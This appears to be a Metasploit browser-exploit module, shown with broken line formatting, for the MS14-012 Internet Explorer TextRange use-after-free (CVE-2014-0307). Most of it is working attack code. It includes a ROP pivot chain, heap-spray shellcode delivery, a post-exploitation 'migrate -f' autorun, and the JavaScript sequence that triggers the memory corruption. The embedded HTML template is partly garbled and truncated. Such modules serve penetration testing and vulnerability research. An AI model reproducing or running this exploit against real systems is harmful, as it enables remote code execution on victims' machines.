require
'msf/core'
class
Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::BrowserExploitServer
def
initialize(info={})
super
(update_info(info,
'Name'
=>
"MS14-012 Internet Explorer TextRange Use-After-Free"
,
'Description'
=> %q{
This
module
exploits a use-after-free vulnerability found
in
Internet Explorer. The flaw
was most likely introduced back
in
2013
, therefore only certain builds of
MSHTML
are
affected. In our testing with
IE9
, these vulnerable builds appear to be between
9
.
0
.
8112
.
16496
and
9
.
0
.
8112
.
16533
, which implies August
2013
until
early March
2014
(before the patch).
},
'License'
=>
MSF_LICENSE
,
'Author'
=>
[
'Jason Kratzer'
,
'sinn3r'
],
'References'
=>
[
[
'CVE'
,
'2014-0307'
],
[
'MSB'
,
'MS14-012'
]
],
'Platform'
=>
'win'
,
'BrowserRequirements'
=>
{
:source
=> /script/i,
:os_name
=> OperatingSystems::
WINDOWS
,
:ua_name
=> HttpClients::
IE
,
:office
=>
"2010"
},
'Targets'
=>
[
[
'Automatic'
,
{
'Pivot'
=> 0x0c0d1020
}
]
],
'Payload'
=>
{
'BadChars'
=>
"\x00"
,
'PrependEncoder'
=>
"\x81\xc4\x0c\xfe\xff\xff"
},
'DefaultOptions'
=>
{
'Retries'
=>
false
,
'InitialAutoRunScript'
=>
'migrate -f'
},
'DisclosureDate'
=>
"Mar 11 2014"
,
'DefaultTarget'
=>
0
))
end
def
get_payload
setup =
[
0x51C3B376,
0x51C2046E,
0x51BE4A41,
].pack(
"V*"
)
45
.times { setup << [0x51C3B376].pack(
'V*'
) }
setup << [
0x51C2046E,
0x51BD28D4
].pack(
'V*'
)
p = generate_rop_payload(
'hxds'
, payload.encoded, {
'target'
=>
'2010'
,
'pivot'
=>setup})
Rex::Text.to_unescape(p)
end
def
exploit_html
template = %
Q
|DOCTYPE
html>
'Cache-Control'
content=
'no-cache'
/>
"X-UA-Compatible"
content=
"IE=edge"
>
<%=js_property_spray%>
sprayHeap({shellcode
:unescape
(
"<%=get_payload%>"
)});
function hxds() {
try {
location.href =
'ms-help:'
;
} catch(e) {}
}
function strike() {
hxds();
var fake =
""
;
for
(var i =
0
; i <
12
; i++) {
if
(i==
0
) {
fake += unescape(
"<%=Rex::Text.to_unescape([target['Pivot']].pack('V*'))%>"
);
}
else
{
fake +=
"\\u4141\\u4141"
;
}
}
var elements = [
'FOOTER'
,
'VIDEO'
,
'HTML'
,
'DIV'
,
'WBR'
,
'THEAD'
,
'PARAM'
,
'SECTION'
,
'IMG'
,
'TIME'
,
'ASISE'
,
'CANVAS'
,
'P'
,
'RT'
,
'FRAMESET'
,
'TRACK'
,
'CAPTION'
];
for
(var i =
0
; i < elements.length; i++) {
var element = document.createElement(elements[i]);
document.body.appendChild(element);
}
var tRange = document.body.createTextRange();
tRange.moveToElementText(document.body.children[
16
]);
tRange.execCommand(
'InsertInputSubmit'
,
true
, null);
tRange.moveToElementText(document.body.children[
0
]);
tRange.moveEnd(
'character'
,
4
);
tRange.execCommand(
'InsertOrderedList'
,
true
, null);
tRange.select();
tRange.moveToElementText(document.body.children[
0
]);
tRange.moveEnd(
'character'
,
13
);
tRange.execCommand(
'Underline'
,
true
, null);
tRange.execCommand(
'RemoveFormat'
,
true
, null);
var fillObject = document.createElement(
'button'
);
fillObject.className = fake;
}